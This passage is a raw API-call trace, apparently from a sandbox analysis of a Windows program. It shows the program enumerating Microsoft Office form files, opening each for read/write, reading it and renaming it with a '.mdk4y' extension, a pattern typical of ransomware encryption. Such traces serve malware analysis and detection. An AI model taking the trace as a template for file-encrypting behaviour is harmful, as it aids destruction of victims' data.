lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="POST.CFGCFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.230] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828746100000) returned 1 [0212.231] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x309, lpOverlapped=0x0) returned 1 [0212.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828754900000) returned 1 [0212.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828754900000) returned 1 [0212.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.mdk4y")) returned 1 [0212.322] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.322] AreFileApisANSI () returned 1 [0212.322] GetACP () returned 0x4e4 [0212.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTIT.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="POSTIT.CFGG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.322] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828755400000) returned 1 [0212.324] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x309, lpOverlapped=0x0) returned 1 [0212.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828757400000) returned 1 [0212.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828757400000) returned 1 [0212.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.mdk4y")) returned 1 [0212.347] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.347] AreFileApisANSI () returned 1 [0212.347] GetACP () returned 0x4e4 [0212.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTITL.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="POSTITL.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.347] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828757800000) returned 1 [0212.348] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828764900000) returned 1 [0212.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828764900000) returned 1 [0212.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.mdk4y")) returned 1 [0212.421] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.421] AreFileApisANSI () returned 1 [0212.421] GetACP () returned 0x4e4 [0212.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTITS.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="POSTITS.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.421] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828765200000) returned 1 [0212.422] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828765400000) returned 1 [0212.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828765400000) returned 1 [0212.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.mdk4y")) returned 1 [0212.425] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.425] AreFileApisANSI () returned 1 [0212.425] GetACP () returned 0x4e4 [0212.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTL.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="POSTL.ICOCO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.425] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828765600000) returned 1 [0212.426] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828766500000) returned 1 [0212.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828766500000) returned 1 [0212.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.mdk4y")) returned 1 [0212.436] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.437] AreFileApisANSI () returned 1 [0212.437] GetACP () returned 0x4e4 [0212.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POSTS.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="POSTS.ICO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.437] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828766800000) returned 1 [0212.438] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828767800000) returned 1 [0212.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828767800000) returned 1 [0212.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.mdk4y")) returned 1 [0212.449] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.450] AreFileApisANSI () returned 1 [0212.450] GetACP () returned 0x4e4 [0212.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RCLRPT.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RCLRPT.CFGO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.450] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828768000000) returned 1 [0212.450] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x328, lpOverlapped=0x0) returned 1 [0212.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828768200000) returned 1 [0212.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828768200000) returned 1 [0212.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.mdk4y")) returned 1 [0212.454] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.454] AreFileApisANSI () returned 1 [0212.454] GetACP () returned 0x4e4 [0212.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REC.CFG", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REC.CFGCFG", lpUsedDefaultChar=0x37dec0) returned 7 [0212.454] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828768400000) returned 1 [0212.454] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x651, lpOverlapped=0x0) returned 1 [0212.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828769300000) returned 1 [0212.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828769300000) returned 1 [0212.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.mdk4y")) returned 1 [0212.465] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.465] AreFileApisANSI () returned 1 [0212.465] GetACP () returned 0x4e4 [0212.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RECL.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RECL.ICOFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.465] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828769500000) returned 1 [0212.466] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828769900000) returned 1 [0212.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828769900000) returned 1 [0212.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.mdk4y")) returned 1 [0212.471] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.471] AreFileApisANSI () returned 1 [0212.471] GetACP () returned 0x4e4 [0212.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RECS.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RECS.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.471] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828770200000) returned 1 [0212.472] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828770800000) returned 1 [0212.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828770800000) returned 1 [0212.478] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.mdk4y")) returned 1 [0212.479] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.479] AreFileApisANSI () returned 1 [0212.479] GetACP () returned 0x4e4 [0212.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REMOTE.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REMOTE.CFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.479] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828771000000) returned 1 [0212.480] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x30b, lpOverlapped=0x0) returned 1 [0212.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828771900000) returned 1 [0212.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828771900000) returned 1 [0212.489] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.mdk4y")) returned 1 [0212.491] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.491] AreFileApisANSI () returned 1 [0212.491] GetACP () returned 0x4e4 [0212.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REMOTEL.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REMOTEL.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828772200000) returned 1 [0212.492] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828773000000) returned 1 [0212.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828773000000) returned 1 [0212.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.mdk4y")) returned 1 [0212.502] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.502] AreFileApisANSI () returned 1 [0212.502] GetACP () returned 0x4e4 [0212.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REMOTES.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REMOTES.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.502] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828773300000) returned 1 [0212.503] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774000000) returned 1 [0212.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774000000) returned 1 [0212.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.mdk4y")) returned 1 [0212.512] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.512] AreFileApisANSI () returned 1 [0212.512] GetACP () returned 0x4e4 [0212.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REPLTMPL.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REPLTMPL.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0212.512] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774200000) returned 1 [0212.512] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x33a, lpOverlapped=0x0) returned 1 [0212.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774400000) returned 1 [0212.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774400000) returned 1 [0212.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.mdk4y")) returned 1 [0212.515] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.515] AreFileApisANSI () returned 1 [0212.515] GetACP () returned 0x4e4 [0212.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REPORT.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REPORT.CFGFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.515] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774500000) returned 1 [0212.515] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, 